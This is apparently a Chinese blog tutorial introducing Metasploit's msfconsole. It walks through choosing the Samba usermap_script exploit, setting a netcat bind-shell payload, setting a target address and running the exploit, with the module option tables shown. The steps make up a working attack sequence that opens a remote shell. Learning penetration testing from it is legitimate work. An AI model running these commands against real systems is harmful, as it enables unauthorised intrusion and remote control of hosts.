Metasploit入门手册(msfconsole)

msfconsole客户端使用说明:
    help            --    列出所有命令 
    search     samba    -- 搜索攻击samba服务器的模块 
    use muti/samba/usermap_script    选择该渗透攻击模块;
    show payloads    -- 搜索usermap_script模块兼容的攻击载荷;
    set payload cmd/unix/bind_netcat    --使用cmd/unix/bind_netcat载荷,即使用netcat工具在渗透攻击成功后执行shell,
    并通过netcat绑定在一个端口上。
    show options    -- 查看需要配置哪些配置参数;
    
Module options (exploit/multi/samba/usermap_script):

Name    Current    Setting            Required            Description
----    ---------------            --------            ----------------
RHOST                            yes                    The target address
RPORT    139                        yes                    The target port (TCP)

Payload options (cmd/unix/bind_netcat):

Name    Current Setting            Required            Description
----    ---------------            --------            ----------------
LPORT    4444                    yes                    The listen port
RHOST                            no                    The target address

Exploit target:
    ID            Name 
    ---            ----
    0            Automatic
    
## 设置攻击主机 
set    RHOST    10.10.10.254
## 执行渗透命令:
exploit
 

  • 1
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值